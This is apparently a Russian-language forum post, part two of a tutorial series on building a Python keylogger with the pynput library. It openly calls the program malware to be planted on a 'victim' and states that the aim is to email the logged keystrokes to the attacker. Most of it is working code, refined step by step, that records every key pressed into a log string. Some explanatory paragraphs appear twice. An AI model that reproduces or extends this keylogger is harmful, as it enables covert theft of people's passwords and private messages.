Всем привет! Это вторая часть написания кейлоггера на python, приступим!
Есть два вида кейлоггера - локальный и удалённый.
Когда мы закинем нашу малварь жертве, локальный кейлоггер будет просто выводить все нажатые клавиши на экран, как он сейчас и делает, но нам, как хакеру от этого пользы не будет! Нам нужен удалённый кейлоггер, то есть, мы просто будем вести логи, для дальнейшей отправки на почту.
Можно просто сделать открытие и логирование файла с помощью with, но открывать и редактировать файл каждый раз, когда человек нажимает что-нибудь на клавиатуре не гуд, поэтому мы воспользуемся глобальными переменными. Конечно мы можем просто создать обычную переменную в самой функции, но т.к. эта функция обратного вызова переменная будет создаваться по новой, каждый раз, когда жертва что-нибудь пишет, а это глупо!
Объявляем переменную log за пределами функции , как пустую строку, а затем и в ней. Далее прибавляем к нашей переменной саму переменную и параметр key
В итоге мы добавили всего три строчки и сделали результат вывода слитным, но читабельным этот результат не назвать, поэтому мы добавим ещё кое-что:
То есть, мы просто говорим программе не добавлять приставку u'' " и выводить только символ
Но если мы введём специальный символ, например пробел, то у нас выскочит ошибка, потому что мы просили вывести символ, но у пробела его нет. И для решения этой проблемы мы воспользуемся исключением - try except
Как видим никаких ошибок нет, но есть ещё одна проблема - между словами нет пробелов! Решается это очень легко, просто добавим перед специальными символами и после, пробел!
Теперь наш результат будет гораздо читабельней, но будет ещё удобнее если заместо key.space мы будем видеть пробел
Вот результат:
Согласитесь, такой текст читать куда приятней и комфортнее. А на этом вторая часть подошла к концу, всем удачи!
Есть два вида кейлоггера - локальный и удалённый.
Когда мы закинем нашу малварь жертве, локальный кейлоггер будет просто выводить все нажатые клавиши на экран, как он сейчас и делает, но нам, как хакеру от этого пользы не будет! Нам нужен удалённый кейлоггер, то есть, мы просто будем вести логи, для дальнейшей отправки на почту.
Python:
import pynput.keyboard
def process_key_press(key):
print(key)
keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
keyboard_listener.join()
Можно просто сделать открытие и логирование файла с помощью with, но открывать и редактировать файл каждый раз, когда человек нажимает что-нибудь на клавиатуре не гуд, поэтому мы воспользуемся глобальными переменными. Конечно мы можем просто создать обычную переменную в самой функции, но т.к. эта функция обратного вызова переменная будет создаваться по новой, каждый раз, когда жертва что-нибудь пишет, а это глупо!
Объявляем переменную log за пределами функции , как пустую строку, а затем и в ней. Далее прибавляем к нашей переменной саму переменную и параметр key
Python:
log = ""
def process_key_press(key):
global log
log = log + str(key) # str() потому что иначе будет ошибка конкатенации
print(log)
В итоге мы добавили всего три строчки и сделали результат вывода слитным, но читабельным этот результат не назвать, поэтому мы добавим ещё кое-что:
Python:
log = log + str(key.char)
То есть, мы просто говорим программе не добавлять приставку u'' " и выводить только символ
Но если мы введём специальный символ, например пробел, то у нас выскочит ошибка, потому что мы просили вывести символ, но у пробела его нет. И для решения этой проблемы мы воспользуемся исключением - try except
Python:
log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except:
log = log + str(key)
print(log)
Как видим никаких ошибок нет, но есть ещё одна проблема - между словами нет пробелов! Решается это очень легко, просто добавим перед специальными символами и после, пробел!
Python:
log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except:
log = log + " " + str(key) + " "
print(log)
Теперь наш результат будет гораздо читабельней, но будет ещё удобнее если заместо key.space мы будем видеть пробел
Python:
log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except:
if key == key.space:
log = log + '' # если пробел
else:
log = log + "" + str(key) + "" # если не пробел, то записать как есть
print(log)
Python:
import pynput.keyboard
log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + ' '
else:
log = log + ' ' + str(key) + ' '
print(log)
keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
keyboard_listener.join()
Вот результат:
Согласитесь, такой текст читать куда приятней и комфортнее. А на этом вторая часть подошла к концу, всем удачи!
Последнее редактирование: